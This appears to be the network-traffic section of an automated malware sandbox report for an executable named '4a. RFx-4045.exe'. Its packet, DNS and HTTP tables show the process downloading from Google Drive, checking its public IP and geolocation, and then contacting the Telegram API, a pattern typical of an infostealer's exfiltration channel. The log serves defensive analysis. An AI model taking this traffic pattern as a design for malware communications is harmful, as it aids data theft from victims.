Feb 14, 2025 08:30:19.174529076 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.174539089 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.174582958 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.175976992 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.176027060 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.176038027 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.176084042 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.177534103 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.177591085 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.177639961 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.177700043 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.179039001 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.179089069 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.179140091 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.179187059 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.180690050 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.180798054 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.180805922 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.180876970 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.182440042 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.182517052 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.182524920 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.182571888 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.183646917 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.183700085 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.183708906 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.183753014 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.184986115 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.185039043 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.185055971 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.185096025 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.185103893 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.185141087 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.185142994 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.185153008 CET	443	56794	142.250.181.225	192.168.2.4
Feb 14, 2025 08:30:19.185157061 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.185183048 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:19.931129932 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:19.935910940 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:19.938932896 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:19.941034079 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:19.945804119 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:20.605664015 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:20.611269951 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:20.616121054 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:20.815062046 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:20.867700100 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:21.186722040 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.186765909 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.186837912 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.191437960 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.191463947 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.651598930 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.651706934 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.662367105 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.662390947 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.664504051 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.668899059 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.715332031 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.781466961 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.781543016 CET	443	56830	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:21.781694889 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.787729979 CET	56830	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:21.798661947 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:21.803762913 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:22.002763033 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:22.005532980 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.005572081 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.005712032 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.006227970 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.006246090 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.055191994 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.493554115 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.495225906 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.495244980 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.643065929 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.643131971 CET	443	56836	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:22.643220901 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.643862963 CET	56836	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:22.647880077 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.649260998 CET	56842	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.652935982 CET	80	56821	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:22.653012037 CET	56821	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.654125929 CET	80	56842	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:22.654203892 CET	56842	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.654345989 CET	56842	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:22.659048080 CET	80	56842	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:26.421569109 CET	80	56842	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:26.449166059 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:26.454001904 CET	80	56847	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:26.454129934 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:26.454287052 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:26.459553957 CET	80	56847	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:26.477168083 CET	56842	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.308330059 CET	80	56847	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:27.310581923 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.310622931 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.311192036 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.311192036 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.311223984 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.352423906 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.821424961 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.824356079 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.824378014 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.952881098 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.952965021 CET	443	56848	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:27.953061104 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.953607082 CET	56848	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:27.957478046 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.958434105 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.962558031 CET	80	56847	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:27.962635994 CET	56847	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.963361025 CET	80	56849	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:27.963428974 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.963551998 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:27.968343019 CET	80	56849	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:28.635436058 CET	80	56849	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:28.637099981 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:28.637137890 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:28.637228012 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:28.637588024 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:28.637614965 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:28.680259943 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.100656033 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.103195906 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.103218079 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.231652975 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.231751919 CET	443	56850	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.232058048 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.233356953 CET	56850	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.242513895 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.243923903 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.247586012 CET	80	56849	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:29.247674942 CET	56849	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.248739004 CET	80	56851	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:29.248922110 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.249140978 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:29.253956079 CET	80	56851	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:29.913862944 CET	80	56851	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:29.915503979 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.915555954 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.915623903 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.916132927 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:29.916143894 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:29.961424112 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.377633095 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:30.379595041 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:30.379615068 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:30.509452105 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:30.509521008 CET	443	56852	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:30.509605885 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:30.510128975 CET	56852	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:30.515218973 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.515872002 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.520203114 CET	80	56851	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:30.520262003 CET	56851	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.520735025 CET	80	56853	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:30.520802975 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.520921946 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:30.525698900 CET	80	56853	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:31.211620092 CET	80	56853	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:31.213365078 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.213406086 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.213514090 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.213807106 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.213818073 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.258388042 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.667294979 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.670785904 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.670802116 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.812796116 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.812865019 CET	443	56854	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:31.812930107 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.813630104 CET	56854	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:31.817667961 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.818766117 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.822607994 CET	80	56853	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:31.822720051 CET	56853	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.823532104 CET	80	56855	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:31.823602915 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.823808908 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:31.828567028 CET	80	56855	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:33.490895987 CET	80	56855	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:33.492952108 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:33.492995024 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:33.493141890 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:33.493418932 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:33.493433952 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:33.539679050 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:33.955904961 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:33.957650900 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:33.957688093 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:34.103473902 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:34.103540897 CET	443	56856	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:34.103596926 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:34.104202986 CET	56856	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:34.107867002 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:34.108928919 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:34.112832069 CET	80	56855	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:34.112910032 CET	56855	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:34.113724947 CET	80	56857	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:34.113790989 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:34.113938093 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:34.118756056 CET	80	56857	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:34.783020973 CET	80	56857	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:34.784852028 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:34.784899950 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:34.784992933 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:34.785336018 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:34.785351992 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:34.836500883 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:35.239376068 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:35.241617918 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:35.241669893 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:35.387212038 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:35.387299061 CET	443	56858	104.21.112.1	192.168.2.4
Feb 14, 2025 08:30:35.387356997 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:35.387995005 CET	56858	443	192.168.2.4	104.21.112.1
Feb 14, 2025 08:30:35.407419920 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:35.412383080 CET	80	56857	132.226.247.73	192.168.2.4
Feb 14, 2025 08:30:35.412477970 CET	56857	80	192.168.2.4	132.226.247.73
Feb 14, 2025 08:30:35.415551901 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:35.415604115 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:35.415672064 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:35.416241884 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:35.416258097 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.037153006 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.037311077 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:36.039343119 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:36.039351940 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.039674997 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.041369915 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:36.083347082 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.332904100 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.333005905 CET	443	56859	149.154.167.220	192.168.2.4
Feb 14, 2025 08:30:36.333355904 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:36.333775043 CET	56859	443	192.168.2.4	149.154.167.220
Feb 14, 2025 08:30:42.819060087 CET	56842	80	192.168.2.4	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 08:29:11.749643087 CET	53	53435	1.1.1.1	192.168.2.4
Feb 14, 2025 08:30:14.322674036 CET	60958	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:14.329492092 CET	53	60958	1.1.1.1	192.168.2.4
Feb 14, 2025 08:30:15.428579092 CET	49897	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:15.435981035 CET	53	49897	1.1.1.1	192.168.2.4
Feb 14, 2025 08:30:19.918581963 CET	61201	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:19.925506115 CET	53	61201	1.1.1.1	192.168.2.4
Feb 14, 2025 08:30:21.176479101 CET	49730	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:21.185801983 CET	53	49730	1.1.1.1	192.168.2.4
Feb 14, 2025 08:30:35.407320976 CET	55784	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:35.414267063 CET	53	55784	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 14, 2025 08:30:14.322674036 CET	192.168.2.4	1.1.1.1	0x49a9	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:15.428579092 CET	192.168.2.4	1.1.1.1	0x7366	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.918581963 CET	192.168.2.4	1.1.1.1	0x85b4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.176479101 CET	192.168.2.4	1.1.1.1	0xcf0c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:35.407320976 CET	192.168.2.4	1.1.1.1	0xd679	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 14, 2025 08:30:14.329492092 CET	1.1.1.1	192.168.2.4	0x49a9	No error (0)	drive.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:15.435981035 CET	1.1.1.1	192.168.2.4	0x7366	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:19.925506115 CET	1.1.1.1	192.168.2.4	0x85b4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:21.185801983 CET	1.1.1.1	192.168.2.4	0xcf0c	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Feb 14, 2025 08:30:35.414267063 CET	1.1.1.1	192.168.2.4	0xd679	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	56821	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:19.941034079 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Feb 14, 2025 08:30:20.605664015 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 14, 2025 08:30:20.611269951 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 14, 2025 08:30:20.815062046 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Feb 14, 2025 08:30:21.798661947 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Feb 14, 2025 08:30:22.002763033 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 07:30:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	56842	132.226.247.73	80	1216	C:\Users\user\Desktop\4a. RFx-4045.exe

Timestamp	Bytes transferred	Direction	Data
Feb 14, 2025 08:30:22.654345989 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
